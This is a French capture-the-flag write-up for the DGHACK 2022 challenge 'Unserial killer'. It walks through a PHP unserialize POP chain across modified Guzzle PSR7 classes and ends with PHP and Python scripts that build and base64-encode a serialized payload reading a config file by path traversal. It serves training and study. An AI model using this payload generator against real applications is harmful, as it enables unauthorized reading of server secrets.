Exploitation à base de popchain PHP (Unserial killer)

Bonjour et bienvenu sur ce troisième write-up portant sur les challenges de la DGHACK, édition 2022,  organisé par la Direction Générale de l’Armement du Ministère des Armées.

Description

Une entreprise vient de se faire attaquer par des hackers ayant récupéré la configuration d’un de leur serveur web.

Auditez le code source du serveur web et trouvez comment ils ont pu y accéder.

Bon, et bien allons-y !

Une première analyse rapide

Je me connecte sur le site web, et je télécharge la source depuis le lien prévu à cet effet. La vulnérabilité saute aux yeux, dans la fonction main du fichier functions.php.

functions.php

Le fait qu’il y ait un appel à unserialize sur un user input, sans utilisation du résultat unserializé après nous fait clairement penser qu’il s’agit d’une attaque de type pop chain. Je poursuis mon investigation

Je m’aperçois qu’il y a des fichiers qui ont été modifié dans vendor/guzzlehttp/psr7 (je me base sur les sources de github à la même version 1.8.5 disponible ici).

En comparant ces 3 fichiers avec les fichiers originaux, on s’aperçoit qu’il y a quelques fonctions qui ont été modifié / ajouté.

  • FnStream.php
FnStream->getContents

Cette fonction est plus que très intéressante, car si on l’appelle avec les paramètres de l’objet display_content = true et _fn_getContents = « flag », on sera en mesure de lire notre fichier (il sera directement affiché sur la page). Elle constitue notre point d’arrivé.

  • Stream.php
Stream->destruct

Cette fonction est également très utile, car elle sera appelé à la destruction de notre objet. Elle constitue notre point de départ.

Vous l’aurez compris, il ne reste plus qu’à passer les bons attributs à l’objet stream pour qu’il call la fonction getContents d’un objet FnStream avec les bons attributs.

Une deuxième analyse

Maintenant que l’on sait d’où on part et vers quoi on doit arriver, il ne nous reste plus qu’à régler le problème du comment. Le challenge se résume maintenant à un casse tête.

Premièrement, il faut donner une suite à la méthode __destruct de l’objet Stream. Pour cela, il faudrait que l’attribut customMetadata de l’objet Stream soit un objet qui dispose d’une méthode closeContents. Malheureusement, il n’y a aucun objet qui dispose d’une telle méthode. En nous renseignant un peu plus sur les méthodes magiques (sur la doc officiel de php) on tombe sur la méthode magique __call. Elle est appelé quand on cherche à exécuter une méthode non définie sur un objet, ce qui est notre cas. Laissez moi donc vous présenter le troisième fichier modifié dont on a pas encore parlé, j’ai nommé StreamDecoratorTrait.php

StreamDecoratorTrait->__call

Comme on peut le voir sur la capture, StreamDecoratorTrait dispose d’une methode magic __call. Disséquons la.

  • la ligne 71 vérifie que l’attribut stream de l’objet StreamDecoratorTrait est bien un objet et qu’il dispose d’une méthode decorate.
  • Les lignes 72-73 assignent la valeur de l’attribut custom_method de l’objet StreamDecoratorTrait à une variable nommée method
  • Les lignes 75-76 transforment la variable method en un array si elle n’en est pas déjà un.
  • La ligne 79 récupère le premier élément de la liste d’arguments fournies à __call, et place la valeur dans la variable args
  • Les ligne 81-86 vont appelées toutes les méthodes définie dans l’array methods avec les arguments de $args. A chaque itération, on retirer le premier élément de la liste $args.

Pour résumer: si l’on créé un objet Stream, qu’on fixe son attribut size sur null et son attribut customMetadata sur un objet StreamDecoratorTrait dont l’attribut custom_method est un string contenant « getContents » et l’attribut stream est un objet FnStream, alors

Stream->__destruct va appeler StreamDecoratorTrait->__call qui va appeler Stream->getContents.

Sauf que: pour que getContents affiche le fichier flag.php il faut paramétrer l’attribut display_content à True et l’attribut _fn_getContents sur la string « flag.php ».

Une troisième analyse

On y est presque, il faut maintenant juste fixer les attributs de l’objet FnStream, seulement c’est un peu plus compliqué que ça.

fnstream.php

FnStream->__wakeup va être appelé quand on va instancier notre objet Stream, et donc tout nos attributs dont le nom est cité sur la capture ci-dessus seront retirés de l’objet. Mince …

fnstream.php

Ces deux fonctions nous permettent de rajouter des attributs à notre objet FnStream. La première fonction « register » permet d’ajouter n’importe quel attribut à FnStream, dans qu’il ne se trouve pas dans la liste des attributs interdits (self::$forbidden_attributes). La deuxième permet de retirer des attributs de la liste des attributs interdits. Alléluia, on est tiré d’affaire, je m’explique:

Il suffit d’appeler FnStream->allow_attribute(« _fn_getContents »), puis FnStream->register(« _fn_getContents », »flag.php ») et on aura fixé la valeur de _fn_getContents malgré la restriction. Tout cela est rendu possible au niveau de la fonction __call de l’objet StreamDecoratorTrait en fixant son attribut customMethod sur un array comportant le nom des méthodes que l’on va appeler (c’est à dire allow_attribute, register et getContents)

Remarque: J’ai considéré l’objet StreamDecoratorTrait comme un objet, mais il s’agit en réalité d’un « trait« . Ceci dit ça ne change rien pour le challenge, on prend simplement un objet qui utilise ce trait et c’est réglé.

Pour finir…

Pour faciliter l’exploit, j’ai mis au point 2 scripts:

<?php
class FnStream {

    public $display_content = true;

}

class LimitStream {
    public $custom_method = ["allow_attribute","allow_attribute","register","getContents"];
        function __construct($stream) {
                $this->stream = $stream;
        }
}

class Stream {
    public $size = [ ["_fn_getContents"],["getContents"],["_fn_getContents","/../../../../config"],[] ];
        function __construct($customMetadata) {
                $this->customMetadata = $customMetadata;
        }
}

$a = new Stream(new LimitStream(new FnStream));
echo serialize($a);
import subprocess
import base64
result = subprocess.run(['php', 'unserial.php'], stdout=subprocess.PIPE)
result = result.stdout.decode('utf-8')

result = result.replace('O:6:"Stream"','O:22:"GuzzleHttp\Psr7\Stream"')
result = result.replace('O:11:"LimitStream"','O:27:"GuzzleHttp\Psr7\LimitStream"')
result = result.replace('O:8:"FnStream"','O:24:"GuzzleHttp\Psr7\FnStream"')

print("[-] Serialized string:")
print(result)
print("[-] Base64 Serialized string:")
print(base64.b64encode(result.encode()).decode('utf-8'))

On place la payload en base64 dans l’argument GET data, et le tour est joué !